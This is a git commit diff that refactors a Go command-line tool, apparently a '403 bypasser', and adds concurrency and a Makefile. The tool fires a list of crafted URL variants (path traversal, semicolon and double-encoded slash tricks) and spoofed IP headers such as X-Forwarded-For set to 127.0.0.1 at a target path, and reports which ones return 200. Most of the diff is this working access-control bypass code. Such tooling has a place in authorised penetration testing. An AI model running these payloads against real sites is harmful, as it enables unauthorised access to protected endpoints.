improve code, add goroutine

Makefile

@@ -0,0 +1,2 @@
+fmt:
+	@gofmt -w -s main.go && goimports -w main.go && go vet main.go

main.go

@@ -1,46 +1,21 @@
 package main
 
 import (
+	"context"
 	"flag"
 	"fmt"
 	"log"
 	"net/http"
-	"os"
+	"regexp"
+	"runtime"
 	"strings"
+	"sync"
+	"time"
 )
 
-var Red = "\033[31m"
+var (
-var Green = "\033[32m"
+	reURL          = regexp.MustCompile("^https?://")
-var White = "\033[97m"
+	headerPayloads = []string{
-
-func main() {
-	domain := flag.String("url", "", "A domain with the protocol. Example: https://daffa.tech")
-	path := flag.String("path", "", "An endpoint. Example: admin")
-	flag.Parse()
-
-	if *domain == "" || *path == "" {
-		log.Fatalln("Using flag -url and -path")
-		os.Exit(0)
-	}
-
-	upperCase := strings.ToUpper(*path)
-
-	endpoint := []string{
-		*domain + "/" + upperCase,
-		*domain + "/" + *path + "/",
-		*domain + "/" + *path + "/.",
-		*domain + "//" + *path + "//",
-		*domain + "/./" + *path + "/./",
-		*domain + "/./" + *path + "/..",
-		*domain + "/;/" + *path,
-		*domain + "/.;/" + *path,
-		*domain + "//;//" + *path,
-		*domain + "/" + *path + "..;/",
-		*domain + "/%2e/" + *path,
-		*domain + "/%252e/" + *path,
-		*domain + "/%ef%bc%8f" + *path}
-
-	headers := []string{
 		"X-Custom-IP-Authorization",
 		"X-Originating-IP",
 		"X-Forwarded-For",
@@ -49,52 +24,127 @@ func main() {
 		"X-Host",
 		"X-Forwarded-Host",
 		"X-ProxyUser-Ip",
-		"X-Remote-Addr"}
+		"X-Remote-Addr",
-
-	fmt.Println(Green, " _  _    ___ ____        ____                                      				")
-	fmt.Println(Green, "| || |  / _ \\___ \\      |  _ \\                                     			")
-	fmt.Println(Green, "| || |_| | | |__) |_____| |_) |_   _ _ __   __ _ ___ ___  ___ _ __ 				")
-	fmt.Println(Green, "|__   _| | | |__ <______|  _ <| | | | '_ \\ / _` / __/ __|/ _ \\ '__|			")
-	fmt.Println(Green, "   | | | |_| |__) |     | |_) | |_| | |_) | (_| \\__ \\__ \\  __/ |   			")
-	fmt.Println(Green, "   |_|  \\___/____/      |____/ \\__, | .__/ \\__,_|___/___/\\___|_|   			")
-	fmt.Println(Green, "                                __/ | |                            				")
-	fmt.Println(Green, "                               |___/|_|                          v1.0.2", White)
-
-	fmt.Println("\nDomain:", *domain)
-	fmt.Println("Path:", *path)
-
-	fmt.Println("\nNormal Request")
-	for i, str := range endpoint {
-		req, err := http.Get(str)
-		if err != nil {
-			log.Fatal(err)
 	}
-		output := fmt.Sprintf("%s %d %s", str, req.StatusCode, http.StatusText(req.StatusCode))
+)
-		if req.StatusCode == 200 {
+
-			fmt.Println(Green, i+1, output, White)
+const (
-		} else {
+	version string = "v1.0.2"
-			fmt.Println(Red, i+1, output, White)
+	red     string = "\033[31m"
+	green   string = "\033[32m"
+	white   string = "\033[97m"
+
+	headerValue string = "127.0.0.1"
+)
+
+func showBanner() {
+	fmt.Printf("%s %s %s %s %s %s %s %s %s %s %s\n", green,
+		" _  _    ___ ____        ____\n",
+		"| || |  / _ \\___ \\      |  _ \\\n",
+		"| || |_| | | |__) |_____| |_) |_   _ _ __   __ _ ___ ___  ___ _ __\n",
+		"|__   _| | | |__ <______|  _ <| | | | '_ \\ / _` / __/ __|/ _ \\ '__|\n",
+		"   | | | |_| |__) |     | |_) | |_| | |_) | (_| \\__ \\__ \\  __/ |\n",
+		"   |_|  \\___/____/      |____/ \\__, | .__/ \\__,_|___/___/\\___|_|\n",
+		"                                __/ | |\n",
+		"                               |___/|_|                          ",
+		version, white)
+}
+
+func getValidDomain(domain string) string {
+	trimmedDomain := strings.TrimSpace(domain)
+
+	if !reURL.MatchString(trimmedDomain) {
+		trimmedDomain = "https://" + trimmedDomain
 	}
 
-	}
+	return trimmedDomain
+}
 
-	fmt.Println("\nRequest with Headers")
+func constructEndpointPayloads(domain, path string) []string {
-	for j, head := range headers {
+	return []string{
-		req2, err := http.NewRequest("GET", *domain+"/"+*path, nil)
+		domain + "/" + strings.ToUpper(path),
-		if err != nil {
+		domain + "/" + path + "/",
-			log.Fatal(err)
+		domain + "/" + path + "/.",
-		}
+		domain + "//" + path + "//",
-		req2.Header.Set(head, "127.0.0.1")
+		domain + "/./" + path + "/./",
-		resp, err := http.DefaultClient.Do(req2)
+		domain + "/./" + path + "/..",
-		if err != nil {
+		domain + "/;/" + path,
-			log.Fatal(err)
+		domain + "/.;/" + path,
-		}
+		domain + "//;//" + path,
-		output2 := fmt.Sprintf("%s %s %d %s", head, *domain+"/"+*path, resp.StatusCode, http.StatusText(resp.StatusCode))
+		domain + "/" + path + "..;/",
-
+		domain + "/%2e/" + path,
-		if resp.StatusCode == 200 {
+		domain + "/%252e/" + path,
-			fmt.Println(Green, j+1, output2, White)
+		domain + "/%ef%bc%8f" + path,
-		} else {
-			fmt.Println(Red, j+1, output2, White)
-		}
 	}
 }
+
+func penetrateEndpoint(wg *sync.WaitGroup, url string, header ...string) {
+	ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
+	defer cancel()
+	defer wg.Done()
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	var h string
+	if header != nil {
+		h = header[0]
+		req.Header.Set(h, headerValue)
+	}
+
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer resp.Body.Close()
+
+	color := green
+	if resp.StatusCode != 200 {
+		color = red
+	}
+
+	log.Println(color, h, url, resp.StatusCode, http.StatusText(resp.StatusCode), white)
+}
+
+func main() {
+	runtime.GOMAXPROCS(1)
+
+	domain := flag.String("url", "", "A domain with the protocol. Example: https://daffa.tech")
+	path := flag.String("path", "", "An endpoint. Example: admin")
+	flag.Parse()
+
+	if *domain == "" || *path == "" {
+		log.Fatalln("Using flag -url and -path")
+	}
+
+	validDomain := getValidDomain(*domain)
+	validPath := strings.TrimSpace(*path)
+	endpoints := constructEndpointPayloads(validDomain, validPath)
+
+	showBanner()
+
+	fmt.Println("\nDomain:", validDomain)
+	fmt.Println("Path:", validPath)
+
+	fmt.Println("\nNormal Request")
+
+	var wg sync.WaitGroup
+	wg.Add(len(endpoints))
+
+	for _, e := range endpoints {
+		go penetrateEndpoint(&wg, e)
+	}
+
+	wg.Wait()
+
+	fmt.Println("\nRequest with Headers")
+	wg.Add(len(headerPayloads))
+
+	for _, h := range headerPayloads {
+		go penetrateEndpoint(&wg, validDomain+"/"+validPath, h)
+	}
+
+	wg.Wait()
+}